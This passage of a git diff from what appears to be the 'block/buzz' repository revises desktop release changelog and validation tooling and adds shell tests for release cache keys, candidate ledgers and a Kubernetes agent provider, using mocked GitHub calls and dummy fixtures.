-    # With no prior desktop tag, account for the repository's root commit too.
-    # A ``root..base`` range silently drops that first commit.
-    range_spec = f"{previous}..{base_sha}" if previous else base_sha
-    all_commits = commit_list(range_spec)
-    relevant_shas = {c["sha"] for c in commit_list(range_spec, DESKTOP_PATHS)}
+def expected(base_sha: str, previous_base: str, previous_merge: str) -> tuple[list[dict[str, str]], list[dict[str, str]]]:
+    # Immutable candidate tags may live on side history after squash merge. The
+    # prior candidate metadata is the ledger boundary; exclude only its known
+    # squash commit so unrelated commits around that merge remain accounted for.
+    range_spec = f"{previous_base}..{base_sha}" if previous_base else base_sha
+    all_commits = [c for c in commit_list(range_spec) if c["sha"] != previous_merge]
+    relevant_shas = {c["sha"] for c in commit_list(range_spec, DESKTOP_PATHS)} - {previous_merge}
     relevant = [c for c in all_commits if c["sha"] in relevant_shas]
     other = [c for c in all_commits if c["sha"] not in relevant_shas]
     return relevant, other
 
 
-def render(version: str, base_sha: str, previous: str, repo: str) -> tuple[str, list[str]]:
-    relevant, other = expected(base_sha, previous)
+def render(version: str, base_sha: str, previous: dict[str, str] | None, repo: str) -> tuple[str, list[str]]:
+    relevant, other = expected(
+        base_sha, previous["base_sha"] if previous else "", previous["merge_sha"] if previous else ""
+    )
     lines = [f"## v{version}", "", "### Desktop and shared changes", ""]
     lines += [bullet(c, repo) for c in relevant] or ["- None"]
     lines += ["", "### Other repository changes", ""]
     lines += [bullet(c, repo) for c in other] or ["- None"]
-    compare_start = previous or git("rev-list", "--max-parents=0", base_sha).splitlines()[0]
+    compare_start = previous["tag"] if previous else git("rev-list", "--max-parents=0", base_sha).splitlines()[0]
     lines += ["", f"[Compare {compare_start}...desktop-v{version}](https://github.com/{repo}/compare/{compare_start}...desktop-v{version})"]
     return "\n".join(lines) + "\n", [c["sha"] for c in relevant + other]
 
@@ -117,8 +186,8 @@ def generate(args: argparse.Namespace) -> None:
     if not SEMVER.fullmatch(args.version):
         raise SystemExit(f"invalid semver: {args.version}")
     base_sha = git("rev-parse", args.base)
-    previous = previous_tag(base_sha)
     repo = args.repo or re.sub(r".*github\.com[:/]", "", git("remote", "get-url", "origin")).removesuffix(".git")
+    previous = previous_release(args.version, repo)
     block, commits = render(args.version, base_sha, previous, repo)
     old = CHANGELOG.read_text() if CHANGELOG.exists() else "# Changelog\n"
     if not old.startswith("# Changelog"):
@@ -127,10 +196,12 @@ def generate(args: argparse.Namespace) -> None:
     CHANGELOG.write_text(f"# Changelog\n\n{block}\n{remainder}")
     METADATA.parent.mkdir(parents=True, exist_ok=True)
     METADATA.write_text(json.dumps({
-        "schema": 1,
+        "schema": 2,
         "version": args.version,
         "base_sha": base_sha,
-        "previous_tag": previous or None,
+        "previous_tag": previous["tag"] if previous else None,
+        "previous_base_sha": previous["base_sha"] if previous else None,
+        "previous_merge_sha": previous["merge_sha"] if previous else None,
         "tag": f"desktop-v{args.version}",
         "commit_count": len(commits),
     }, indent=2) + "\n")
@@ -157,14 +228,16 @@ def validate(args: argparse.Namespace) -> None:
         if missing:
             detail.append(f"missing required files: {', '.join(sorted(missing))}")
         raise SystemExit("candidate is not version-only (" + "; ".join(detail) + ")")
-    previous = data["previous_tag"] or ""
-    actual_previous = previous_tag(data["base_sha"])
-    if previous != actual_previous:
-        raise SystemExit(
-            f"recorded previous tag {previous or '<none>'} does not match "
-            f"nearest release tag {actual_previous or '<none>'}"
-        )
     repo = args.repo or "block/buzz"
+    previous = previous_release(version, repo, allow_target_sha=candidate)
+    recorded_previous = {
+        "tag": data.get("previous_tag"),
+        "base_sha": data.get("previous_base_sha"),
+        "merge_sha": data.get("previous_merge_sha"),
+    } if data.get("previous_tag") else None
+    expected_previous = {key: previous[key] for key in ("tag", "base_sha", "merge_sha")} if previous else None
+    if recorded_previous != expected_previous:
+        raise SystemExit("recorded previous release ledger does not match immutable prior release")
     expected_block, shas = render(version, data["base_sha"], previous, repo)
     text = CHANGELOG.read_text()
     blocks = re.findall(rf"(?ms)^## v{re.escape(version)}\n.*?(?=^## v|\Z)", text)
diff --git a/scripts/prepare-desktop-release.sh b/scripts/prepare-desktop-release.sh
index c477a84cda..3626b31a9a 100755
--- a/scripts/prepare-desktop-release.sh
+++ b/scripts/prepare-desktop-release.sh
@@ -71,9 +71,9 @@ cat >"$body" <<EOF
 - **Previous desktop release:** \`$previous_tag\`
 - **Proposed immutable tag:** \`desktop-v$version\`
 
-This PR must be merged with **Create a merge commit**. Squash/rebase, stale-head approval, incomplete notes, or a candidate mismatch produce no tag.
+This PR may be **squash merged** after the Desktop Release Candidate check and all protected-branch checks pass. Merging authorizes publication of the exact reviewed candidate; later or unrelated changes on \`main\` cannot alter it.
 
-The checked-in changelog accounts for every non-merge commit in the release range. Publication remains bound to the immutable candidate tag.
+The checked-in changelog accounts for every non-merge commit in the release range. The Desktop tag points to the reviewed candidate commit, not the later squash commit. Publication remains bound to that immutable candidate tag.
 EOF
 if existing="$(gh pr list --head "$branch" --state open --json number --jq '.[0].number')" && [[ -n "$existing" ]]; then
   gh pr edit "$existing" --title "chore(release): release Buzz Desktop version $version" --body-file "$body"
diff --git a/scripts/required-check-succeeded.jq b/scripts/required-check-succeeded.jq
index e848f46143..b1fb65a536 100644
--- a/scripts/required-check-succeeded.jq
+++ b/scripts/required-check-succeeded.jq
@@ -1,11 +1,22 @@
-# GitHub treats success, skipped, and neutral as successful conclusions for
-# required checks. Evaluate the newest run so a stale pass cannot mask a rerun.
+# REST check runs do not expose per-attempt creation time. The endpoint is
+# intentionally queried with filter=latest; select the highest immutable run ID
+# for the trusted producer and require that returned attempt to have completed
+# successfully by merge. Any ordinary post-merge rerun therefore fails closed
+# and needs operator inspection. DCO alone has a bounded five-minute exception.
 [
   .[].check_runs[]
-  | select(.name == $name)
+  | select(.name == $name and .app.id == $integration_id)
 ]
-| sort_by(.started_at // .created_at // "")
+| sort_by(.id)
 | last
+| select((.completed_at // null) != null)
+| select(
+    (.completed_at | fromdateiso8601)
+    <= (
+      ($merged_at | fromdateiso8601)
+      + (if $name == "DCO Check" then 300 else 0 end)
+    )
+  )
 | .status == "completed"
   and (
     .conclusion == "success"
diff --git a/scripts/review-decision-approved.jq b/scripts/review-decision-approved.jq
deleted file mode 100644
index 011f28fdc6..0000000000
--- a/scripts/review-decision-approved.jq
+++ /dev/null
@@ -1 +0,0 @@
-.reviewDecision == "APPROVED"
diff --git a/scripts/run-tests.sh b/scripts/run-tests.sh
index 0a3b2ed5a2..0e5946ca18 100755
--- a/scripts/run-tests.sh
+++ b/scripts/run-tests.sh
@@ -84,6 +84,9 @@ run_unit_tests() {
   run_test_step "buzz-auth unit tests" \
     cargo test -p buzz-auth --lib -- --nocapture
 
+  run_test_step "buzz-voice tests" \
+    cargo test -p buzz-voice --lib -- --nocapture
+
   run_test_step "buzz-cli tests" \
     cargo test -p buzz-cli -- --nocapture
 
@@ -103,6 +106,12 @@ run_unit_tests() {
 
   run_test_step "buzz-push-gateway tests" \
     cargo test -p buzz-push-gateway -- --nocapture
+
+  # Kubernetes backend provider: pure decision layers driven by a fake
+  # substrate, no cluster. Mirrors the nextest path in `just test-unit` —
+  # the two lists must stay in step or the fallback silently covers less.
+  run_test_step "buzz-backend-kubernetes tests" \
+    cargo test -p buzz-backend-kubernetes -- --nocapture
 }
 
 # ---- DB / integration tests (infra required) --------------------------------
diff --git a/scripts/sprig-entrypoint.sh b/scripts/sprig-entrypoint.sh
new file mode 100755
index 0000000000..16abf7bc51
--- /dev/null
+++ b/scripts/sprig-entrypoint.sh
@@ -0,0 +1,16 @@
+#!/bin/bash
+set -euo pipefail
+
+# Match desktop's URL-scoped git credential configuration without installing a
+# helper globally (which would make it answer for unrelated remotes).
+if [[ -n "${BUZZ_RELAY_URL:-}" ]]; then
+    relay_http_url="${BUZZ_RELAY_URL/#ws:/http:}"
+    relay_http_url="${relay_http_url/#wss:/https:}"
+    relay_http_url="${relay_http_url%/}"
+    git config --global "credential.${relay_http_url}/git.helper" \
+        /usr/local/bin/git-credential-nostr
+    git config --global "credential.${relay_http_url}/git.useHttpPath" true
+fi
+
+# The harness must receive Kubernetes' termination signal directly.
+exec buzz-acp "$@"
diff --git a/scripts/start-relay-for-tests.sh b/scripts/start-relay-for-tests.sh
index 85aa101356..b9d93935c0 100755
--- a/scripts/start-relay-for-tests.sh
+++ b/scripts/start-relay-for-tests.sh
@@ -151,6 +151,20 @@ fi
 # ── Start relay ──────────────────────────────────────────────────────────────
 
 log "Starting relay..."
+
+# Optional NIP-43 membership gating: exported by callers that need a
+# membership-gated relay (e.g. the mesh lifecycle smoke). All three must be
+# set together — the relay fails fast otherwise.
+MEMBERSHIP_ENV=()
+if [[ "${BUZZ_REQUIRE_RELAY_MEMBERSHIP:-}" == "true" ]]; then
+  MEMBERSHIP_ENV+=(
+    BUZZ_REQUIRE_RELAY_MEMBERSHIP=true
+    RELAY_OWNER_PUBKEY="${RELAY_OWNER_PUBKEY:?RELAY_OWNER_PUBKEY required with BUZZ_REQUIRE_RELAY_MEMBERSHIP=true}"
+    BUZZ_RELAY_PRIVATE_KEY="${BUZZ_RELAY_PRIVATE_KEY:?BUZZ_RELAY_PRIVATE_KEY required with BUZZ_REQUIRE_RELAY_MEMBERSHIP=true}"
+  )
+  log "Membership gating enabled (NIP-43)"
+fi
+
 nohup env \
   DATABASE_URL=postgres://buzz:buzz_dev@localhost:5432/buzz \
   REDIS_URL=redis://localhost:6379 \
@@ -159,6 +173,7 @@ nohup env \
   BUZZ_REQUIRE_AUTH_TOKEN=false \
   BUZZ_RECONCILE_CHANNELS=true \
   BUZZ_GIT_PROBE_WRITERS=8 \
+  ${MEMBERSHIP_ENV[@]+"${MEMBERSHIP_ENV[@]}"} \
   "./target/${CARGO_PROFILE}/buzz-relay" > /tmp/buzz-relay.log 2>&1 &
 echo $! > /tmp/buzz-relay.pid
 
diff --git a/scripts/test-desktop-release-cache-key.sh b/scripts/test-desktop-release-cache-key.sh
new file mode 100755
index 0000000000..f2ed914abb
--- /dev/null
+++ b/scripts/test-desktop-release-cache-key.sh
@@ -0,0 +1,43 @@
+#!/usr/bin/env bash
+set -euo pipefail
+
+repo_root=$(cd "$(dirname "$0")/.." && pwd)
+key_script="scripts/desktop-release-cache-key.py"
+tmp=$(mktemp -d)
+trap 'rm -rf "$tmp"' EXIT
+cp -R "$repo_root"/. "$tmp/repo"
+cd "$tmp/repo"
+
+args=(--platform Linux --target x86_64-unknown-linux-gnu --features mesh-llm --native-inputs ubuntu-24.04-mold)
+original=$("$key_script" "${args[@]}")
+python3 - <<'PY'
+from pathlib import Path
+import re
+
+manifest = Path("desktop/src-tauri/Cargo.toml")
+manifest_text = manifest.read_text()
+package = re.search(r'(?ms)^\[package\]\n.*?^version = "([^"]+)"', manifest_text)
+if package is None:
+    raise SystemExit("desktop package version not found")
+current_version = package.group(1)
+manifest.write_text(
+    manifest_text[: package.start(1)] + "9.8.7" + manifest_text[package.end(1) :]
+)
+
+lock = Path("desktop/src-tauri/Cargo.lock")
+text = lock.read_text()
+start = text.index('name = "buzz-desktop"')
+version = text.index(f'version = "{current_version}"', start)
+lock.write_text(
+    text[:version]
+    + 'version = "9.8.7"'
+    + text[version + len(f'version = "{current_version}"') :]
+)
+PY
+version_only=$("$key_script" "${args[@]}")
+[[ "$original" == "$version_only" ]] || { echo "desktop version changed cache key" >&2; exit 1; }
+printf '\n# dependency input\n' >> crates/buzz-acp/Cargo.toml
+dependency_changed=$("$key_script" "${args[@]}")
+[[ "$original" != "$dependency_changed" ]] || { echo "dependency manifest did not change cache key" >&2; exit 1; }
+[[ "$original" == desktop-rust-release-v1-Linux-x86_64-unknown-linux-gnu-* ]] || { echo "unexpected key: $original" >&2; exit 1; }
+echo "desktop release cache key contract passed"
diff --git a/scripts/test-desktop-release-cache-workflow.sh b/scripts/test-desktop-release-cache-workflow.sh
new file mode 100755
index 0000000000..67f054a603
--- /dev/null
+++ b/scripts/test-desktop-release-cache-workflow.sh
@@ -0,0 +1,77 @@
+#!/usr/bin/env bash
+set -euo pipefail
+root=$(cd "$(dirname "$0")/.." && pwd)
+release="$root/.github/workflows/release.yml"
+proof="$root/.github/workflows/desktop-release-cache-proof.yml"
+canaries=(
+  "$root/.github/workflows/signed-macos-canary.yml"
+  "$root/.github/workflows/macos-intel-canary.yml"
+  "$root/.github/workflows/windows-canary.yml"
+  "$root/.github/workflows/linux-canary.yml"
+)
+
+if grep -q 'desktop-rust-release-v1\|desktop-release-cache-key' "$release"; then
+  echo "Gate 1 must not alter the release cache path" >&2
+  exit 1
+fi
+for workflow in "${canaries[@]}"; do
+  grep -q 'refs/heads/main' "$workflow"
+  grep -q 'desktop-native-toolchain-id.sh' "$workflow"
+  grep -q 'steps.native_toolchain.outputs.id' "$workflow"
+  grep -q 'actions/cache/restore@' "$workflow"
+  grep -q 'actions/cache/save@' "$workflow"
+  grep -q 'steps.rust_cache.outputs.cache-hit' "$workflow"
+  grep -q '!desktop/src-tauri/target/\*\*/release/bundle' "$workflow"
+  if grep -q 'restore-keys:.*desktop-rust\|Swatinem/rust-cache' "$workflow"; then
+    echo "release Cargo cache must use split actions with no fallback: $workflow" >&2
+    exit 1
+  fi
+done
+
+# GitHub expressions must enter cache-key steps through env, never by direct
+# interpolation into generated shell scripts. This blocks shell injection if a
+# matrix or upstream output ever becomes attacker-controlled.
+python3 - "$proof" "${canaries[@]}" <<'PY'
+import pathlib
+import re
+import sys
+
+for filename in sys.argv[1:]:
+    text = pathlib.Path(filename).read_text()
+    steps = re.findall(
+        r"(?ms)^      - name: Compute exact release cache key\n(.*?)(?=^      - (?:name:|uses:)|\Z)",
+        text,
+    )
+    if not steps:
+        raise SystemExit(f"cache-key step missing: {filename}")
+    for step in steps:
+        run = re.search(r"(?ms)^        run: \|\n(.*?)(?=^        \S|\Z)", step)
+        if not run:
+            raise SystemExit(f"cache-key run block missing: {filename}")
+        if "${{" in run.group(1):
+            raise SystemExit(f"GitHub expression interpolated into cache-key shell: {filename}")
+        if "NATIVE_TOOLCHAIN_ID: ${{ steps.native_toolchain.outputs.id }}" not in step:
+            raise SystemExit(f"native toolchain output not passed through env: {filename}")
+PY
+
+# Producer/proof coverage must match all four release targets and features.
+for target in aarch64-apple-darwin x86_64-apple-darwin x86_64-unknown-linux-gnu x86_64-pc-windows-msvc; do
+  grep -q -- "$target" "$proof" || { echo "proof missing $target" >&2; exit 1; }
+done
+grep -q -- '--features mesh-llm' "$proof"
+grep -q -- '--features default' "$proof"
+[[ $(grep -c 'actions/cache/save@' "$proof") -eq 0 ]]
+[[ $(grep -c 'Require exact cache hit' "$proof") -eq 3 ]]
+grep -q 'refs/tags/cache-proof-' "$proof"
+
+# Linux producer must match release's default linker, not the CI-only mold path.
+if grep -q 'setup-mold\|ubuntu-24.04-mold' "$root/.github/workflows/linux-canary.yml"; then
+  echo "Linux cache producer diverges from the release linker" >&2
+  exit 1
+fi
+if grep -q 'setup-mold' "$release"; then
+  echo "release linker changed; re-review cache equivalence" >&2
+  exit 1
+fi
+
+echo "desktop release cache workflow contract passed"
diff --git a/scripts/test-desktop-release-candidate.sh b/scripts/test-desktop-release-candidate.sh
index f36a1d690a..c63a157c00 100755
--- a/scripts/test-desktop-release-candidate.sh
+++ b/scripts/test-desktop-release-candidate.sh
@@ -5,7 +5,6 @@ repo_root=$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)
 tmp=$(mktemp -d)
 trap 'rm -rf "$tmp"' EXIT
 cp "$repo_root/scripts/desktop_release.py" "$tmp/desktop_release.py"
-
 git -C "$tmp" init -q
 git -C "$tmp" config user.name test
 git -C "$tmp" config user.email test@example.com
@@ -14,54 +13,165 @@ mv "$tmp/desktop_release.py" "$tmp/scripts/desktop_release.py"
 printf '{"version":"1.0.0"}\n' > "$tmp/desktop/package.json"
 printf '{"version":"1.0.0"}\n' > "$tmp/desktop/src-tauri/tauri.conf.json"
 printf '[package]\nversion = "1.0.0"\n' > "$tmp/desktop/src-tauri/Cargo.toml"
-echo '# Changelog' > "$tmp/CHANGELOG.md"
-echo first > "$tmp/desktop/feature"
+printf '# Changelog\n' > "$tmp/CHANGELOG.md"
+echo root > "$tmp/ROOT.md"
+git -C "$tmp" add .
+git -C "$tmp" commit -qm 'feat: root content'
+prior_base=$(git -C "$tmp" rev-parse HEAD)
+
+# The prior immutable candidate lives on side history after its squash merge.
+git -C "$tmp" checkout -qb prior-candidate
+echo prior > "$tmp/desktop/feature"
+cat > "$tmp/.release/desktop-candidate.json" <<JSON
+{"schema":1,"version":"1.0.0","base_sha":"$prior_base","previous_tag":null,"tag":"desktop-v1.0.0","commit_count":1}
+JSON
 git -C "$tmp" add .
-git -C "$tmp" commit -qm 'feat: first desktop change'
-git -C "$tmp" -c tag.gpgSign=false tag v1.0.0
-echo second >> "$tmp/desktop/feature"
-git -C "$tmp" commit -qam 'fix: desktop fix'
-echo policy > "$tmp/POLICY.md"
+git -C "$tmp" commit -qm 'chore(release): release Buzz Desktop version 1.0.0'
+prior_candidate=$(git -C "$tmp" rev-parse HEAD)
+git -C "$tmp" -c tag.gpgSign=false tag desktop-v1.0.0
+
+git -C "$tmp" checkout -q -
+echo before-squash > "$tmp/POLICY.md"
 git -C "$tmp" add POLICY.md
-git -C "$tmp" commit -qm 'docs: repository policy'
+git -C "$tmp" commit -qm 'chore(release): unrelated hostile subject'
+unrelated_before=$(git -C "$tmp" rev-parse HEAD)
+echo squash > "$tmp/PRIOR_RELEASE.md"
+git -C "$tmp" add PRIOR_RELEASE.md
+git -C "$tmp" commit -qm 'edited prior release subject'
+prior_merge=$(git -C "$tmp" rev-parse HEAD)
+echo after-squash >> "$tmp/desktop/feature"
+git -C "$tmp" add desktop/feature
+git -C "$tmp" commit -qm 'fix: desktop fix after prior release'
+unrelated_after=$(git -C "$tmp" rev-parse HEAD)
 base=$(git -C "$tmp" rev-parse HEAD)
+
+mock_bin=$(mktemp -d)
+cat > "$mock_bin/gh" <<GH
+#!/usr/bin/env bash
+[[ "\$1" == api && "\$2" == "repos/block/buzz/commits/$prior_candidate/pulls" ]] || exit 90
+cat <<JSON
+[{"merged_at":"2026-01-01T00:00:00Z","merge_commit_sha":"$prior_merge","head":{"sha":"$prior_candidate"}}]
+JSON
+GH
+chmod +x "$mock_bin/gh"
 (
   cd "$tmp"
-  scripts/desktop_release.py generate 1.0.1 --base "$base" --repo block/buzz
+  PATH="$mock_bin:$PATH" scripts/desktop_release.py generate 1.0.1 --base "$base" --repo block/buzz
   python3 - <<'PY'
 import json
 for path in ('desktop/package.json', 'desktop/src-tauri/tauri.conf.json'):
     data=json.load(open(path)); data['version']='1.0.1'; open(path,'w').write(json.dumps(data)+'\n')
-p='desktop/src-tauri/Cargo.toml'; open(p,'w').write('[package]\nversion = "1.0.1"\n')
+open('desktop/src-tauri/Cargo.toml','w').write('[package]\nversion = "1.0.1"\n')
 PY
-  rm -f msg
   git add .
-  cat >msg <<'EOF'
-chore(release): release Buzz Desktop version 1.0.1
-
-Co-authored-by: Test Automation <test@example.com>
-EOF
-  git -c user.name=Wes -c user.email=wesbillman@users.noreply.github.com commit -q -s -F msg
-  rm msg
-  scripts/desktop_release.py validate --version 1.0.1 --repo block/buzz
-  grep -Fq '### Other repository changes' CHANGELOG.md
-  grep -Fq "$(git rev-parse HEAD~1)" CHANGELOG.md
-  grep -Fq "$(git rev-parse HEAD~2)" CHANGELOG.md
+  git -c user.name=Wes -c user.email=wesbillman@users.noreply.github.com commit -q -s -m 'chore(release): release Buzz Desktop version 1.0.1' -m 'Co-authored-by: Test Automation <test@example.com>'
+  PATH="$mock_bin:$PATH" scripts/desktop_release.py validate --version 1.0.1 --repo block/buzz
+  grep -Fq "$unrelated_before" CHANGELOG.md
+  grep -Fq "$unrelated_after" CHANGELOG.md
+  ! grep -Fq "$prior_merge" CHANGELOG.md
+  jq -e --arg base "$prior_base" --arg merge "$prior_merge" \
+    '.schema == 2 and .previous_tag == "desktop-v1.0.0" and .previous_base_sha == $base and .previous_merge_sha == $merge' \
+    .release/desktop-candidate.json >/dev/null
 
-  # Metadata cannot lie about the prior release boundary.
   cp .release/desktop-candidate.json metadata.json
-  python3 - <<'PY'
-import json
-p='.release/desktop-candidate.json'; d=json.load(open(p)); d['previous_tag']=None; open(p,'w').write(json.dumps(d)+'\n')
-PY
-  if scripts/desktop_release.py validate --version 1.0.1 --repo block/buzz >/dev/null 2>&1; then
-    echo "validator accepted a forged previous release tag" >&2
-    exit 1
+  jq '.previous_merge_sha = "0000000000000000000000000000000000000000"' metadata.json > .release/desktop-candidate.json
+  if PATH="$mock_bin:$PATH" scripts/desktop_release.py validate --version 1.0.1 --repo block/buzz >/dev/null 2>&1; then
+    echo "validator accepted a forged previous release ledger" >&2; exit 1
   fi
   mv metadata.json .release/desktop-candidate.json
+
+  # Post-merge verification may be retried after this candidate's immutable tag
+  # already exists. Accept only the exact candidate SHA; an equal-version tag
+  # anywhere else remains a collision.
+  candidate=$(git rev-parse HEAD)
+  git -c tag.gpgSign=false tag desktop-v1.0.1 "$candidate"
+  PATH="$mock_bin:$PATH" scripts/desktop_release.py validate --version 1.0.1 --repo block/buzz
+  git -c tag.gpgSign=false tag -f desktop-v1.0.1 "$base" >/dev/null
+  if PATH="$mock_bin:$PATH" scripts/desktop_release.py validate --version 1.0.1 --repo block/buzz >/dev/null 2>&1; then
+    echo "validator accepted an equal-version tag at the wrong SHA" >&2; exit 1
+  fi
+  git tag -d desktop-v1.0.1 >/dev/null
+
+  # Prerelease tags are not prior-release ledgers, but the exact target tag is
+  # still a collision boundary: same-SHA retry passes; wrong-SHA reuse fails.
+  git -c tag.gpgSign=false tag desktop-v1.0.1-beta "$candidate"
+  PATH="$mock_bin:$PATH" python3 - <<'PY'
+import importlib.util
+import pathlib
+
+spec = importlib.util.spec_from_file_location("desktop_release", pathlib.Path("scripts/desktop_release.py"))
+module = importlib.util.module_from_spec(spec)
+spec.loader.exec_module(module)
+candidate = module.git("rev-parse", "HEAD")
+module.previous_release("1.0.1-beta", "block/buzz", allow_target_sha=candidate)
+PY
+  git -c tag.gpgSign=false tag -f desktop-v1.0.1-beta "$base" >/dev/null
+  if PATH="$mock_bin:$PATH" python3 - <<'PY'
+import importlib.util
+import pathlib
+
+spec = importlib.util.spec_from_file_location("desktop_release", pathlib.Path("scripts/desktop_release.py"))
+module = importlib.util.module_from_spec(spec)
+spec.loader.exec_module(module)
+candidate = module.git("rev-parse", "HEAD")
+module.previous_release("1.0.1-beta", "block/buzz", allow_target_sha=candidate)
+PY
+  then
+    echo "validator accepted a prerelease target tag at the wrong SHA" >&2; exit 1
+  fi
+  git tag -d desktop-v1.0.1-beta >/dev/null
+
+  # A stable tag with the same numeric tuple is a different tag and cannot
+  # authorize a prerelease retry, even when it points at the candidate.
+  git -c tag.gpgSign=false tag desktop-v1.0.1 "$candidate"
+  if PATH="$mock_bin:$PATH" python3 - <<'PY'
+import importlib.util
+import pathlib
+
+spec = importlib.util.spec_from_file_location("desktop_release", pathlib.Path("scripts/desktop_release.py"))
+module = importlib.util.module_from_spec(spec)
+spec.loader.exec_module(module)
+candidate = module.git("rev-parse", "HEAD")
+module.previous_release("1.0.1-beta", "block/buzz", allow_target_sha=candidate)
+PY
+  then
+    echo "validator accepted a mismatched stable tag for a prerelease target" >&2; exit 1
+  fi
+  git tag -d desktop-v1.0.1 >/dev/null
 )
 
-# An initial release must account for the root commit, not silently omit it.
+# Equal and decreasing versions are rejected before any GitHub lookup.
+for invalid_version in 1.0.0 0.9.9; do
+  if (cd "$tmp" && PATH="/usr/bin:/bin" scripts/desktop_release.py generate "$invalid_version" --base "$base" --repo block/buzz) >/dev/null 2>&1; then
+    echo "generator accepted non-increasing version $invalid_version" >&2; exit 1
+  fi
+done
+
+# A production-style schema-1 tag points at its squash commit on main. It must
+# still resolve as the prior ledger during migration to head-tagged releases.
+migration=$(mktemp -d)
+git clone -q "$tmp" "$migration"
+git -C "$migration" config user.name test
+git -C "$migration" config user.email test@example.com
+git -C "$migration" checkout -q "$prior_base"
+GIT_EDITOR=true git -C "$migration" cherry-pick "$prior_candidate" >/dev/null
+production_tag=$(git -C "$migration" rev-parse HEAD)
+git -C "$migration" -c tag.gpgSign=false tag -f desktop-v1.0.0 "$production_tag" >/dev/null
+echo migration >> "$migration/desktop/feature"
+git -C "$migration" add desktop/feature
+git -C "$migration" commit -qm 'fix: migration change'
+migration_base=$(git -C "$migration" rev-parse HEAD)
+cat > "$mock_bin/gh" <<GH
+#!/usr/bin/env bash
+[[ "\$1" == api && "\$2" == "repos/block/buzz/commits/$production_tag/pulls" ]] || exit 90
+printf '%s\n' '[{"merged_at":"2026-01-01T00:00:00Z","merge_commit_sha":"$production_tag","head":{"sha":"$prior_candidate"}}]'
+GH
+chmod +x "$mock_bin/gh"
+(cd "$migration" && PATH="$mock_bin:$PATH" scripts/desktop_release.py generate 1.0.1 --base "$migration_base" --repo block/buzz)
+jq -e --arg merge "$production_tag" '.previous_tag == "desktop-v1.0.0" and .previous_merge_sha == $merge' "$migration/.release/desktop-candidate.json" >/dev/null
+rm -rf "$migration"
+
+# An initial release still accounts for the root commit without calling GitHub.
 initial=$(mktemp -d)
 cp "$repo_root/scripts/desktop_release.py" "$initial/desktop_release.py"
 git -C "$initial" init -q
diff --git a/scripts/test-k8s-provider-release.sh b/scripts/test-k8s-provider-release.sh
new file mode 100755
index 0000000000..40c78e2688
--- /dev/null
+++ b/scripts/test-k8s-provider-release.sh
@@ -0,0 +1,78 @@
+#!/usr/bin/env bash
+# Reproduce the desktop release's multi-package build shape, then prove the
+# Kubernetes provider reports an unreachable cluster in-band rather than
+# panicking when rustls has multiple compiled crypto providers available.
+set -euo pipefail
+
+ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
+cd "$ROOT"
+
+TARGET_DIR="${CARGO_TARGET_DIR:-$ROOT/target}"
+PROVIDER_BINARY="$TARGET_DIR/release/buzz-backend-kubernetes"
+
+CARGO="${CARGO:-cargo}"
+"$CARGO" build --release \
+  -p buzz-acp \
+  -p buzz-agent \
+  -p buzz-dev-mcp \
+  -p git-credential-nostr \
+  -p buzz-cli \
+  -p buzz-backend-kubernetes
+
+TMP="$(mktemp -d)"
+trap 'rm -rf "$TMP"' EXIT
+cat >"$TMP/kubeconfig" <<'YAML'
+apiVersion: v1
+kind: Config
+clusters:
+  - name: unreachable
+    cluster:
+      server: http://127.0.0.1:9
+contexts:
+  - name: unreachable
+    context:
+      cluster: unreachable
+      user: none
+current-context: unreachable
+users:
+  - name: none
+    user: {}
+YAML
+
+cat >"$TMP/request.json" <<'JSON'
+{
+  "op": "deploy",
+  "agent": {
+    "relay_url": "wss://relay.example",
+    "private_key_nsec": "nsec1vl029mgpspedva04g90vltkh6fvh240zqtv9k0t9af8935ke9laqsnlfe5",
+    "auth_tag": "owner",
+    "launch": {"command": "goose", "args": [], "env": {}, "policy_env": {}}
+  },
+  "provider_config": {
+    "context": "unreachable",
+    "namespace": "never-created",
+    "image": "example.invalid/sprig@sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
+    "inactivity_seconds": 60
+  }
+}
+JSON
+
+set +e
+KUBECONFIG="$TMP/kubeconfig" \
+  "$PROVIDER_BINARY" \
+  <"$TMP/request.json" >"$TMP/stdout" 2>"$TMP/stderr"
+status=$?
+set -e
+
+[[ "$status" == 0 ]] || {
+  echo "provider exited $status instead of returning an in-band failure" >&2
+  cat "$TMP/stderr" >&2
+  exit 1
+}
+[[ "$(wc -l <"$TMP/stdout" | tr -d ' ')" == 1 ]]
+jq -e '.ok == false and (.error | type == "string" and length > 0)' "$TMP/stdout" >/dev/null
+if rg -i 'panic|crypto provider|no process-level' "$TMP/stdout" "$TMP/stderr"; then
+  echo "provider emitted a panic/crypto-provider failure" >&2
+  exit 1
+fi
+printf 'PASS: release-shaped provider returned one in-band unreachable-cluster failure\n'
diff --git a/scripts/test-k8s-sprig-image-live.sh b/scripts/test-k8s-sprig-image-live.sh
new file mode 100755
index 0000000000..ec9f259053
--- /dev/null
+++ b/scripts/test-k8s-sprig-image-live.sh
@@ -0,0 +1,97 @@
+#!/usr/bin/env bash
+# Prove that a cluster can resolve and start the exact digest-qualified Sprig
+# image that will be passed to the Kubernetes provider. This is intentionally a
+# separate preflight: a Docker image existing in the host daemon does not imply
+# that the kubelet's container runtime can resolve the same name and digest.
+set -euo pipefail
+
+: "${BUZZ_K8S_TEST_CONTEXT:?set the explicit disposable/local kubectl context}"
+: "${BUZZ_SPRIG_IMAGE:?set an immutable image reference (name@sha256:<64 hex>)}"
+
+if [[ ! "$BUZZ_SPRIG_IMAGE" =~ ^[^[:space:]@]+@sha256:[0-9a-fA-F]{64}$ ]]; then
+    echo "error: BUZZ_SPRIG_IMAGE must be name@sha256:<64 hex>" >&2
+    exit 2
+fi
+
+CONTEXT="$BUZZ_K8S_TEST_CONTEXT"
+IMAGE="$BUZZ_SPRIG_IMAGE"
+PULL_POLICY="${BUZZ_K8S_TEST_PULL_POLICY:-IfNotPresent}"
+case "$PULL_POLICY" in
+    Always|IfNotPresent|Never) ;;
+    *) echo "error: invalid BUZZ_K8S_TEST_PULL_POLICY: $PULL_POLICY" >&2; exit 2 ;;
+esac
+
+MANAGED_BY="buzz-backend-kubernetes"
+BINDING_VERSION="v1"
+NAMESPACE="buzz-k8s-sprig-$(date +%s)-$RANDOM"
+CREATED=0
+
+cleanup() {
+    (( CREATED == 1 )) || return 0
+    local managed binding foreign
+    managed="$(kubectl --context "$CONTEXT" get namespace "$NAMESPACE" \
+        -o jsonpath='{.metadata.labels.app\.kubernetes\.io/managed-by}' 2>/dev/null || true)"
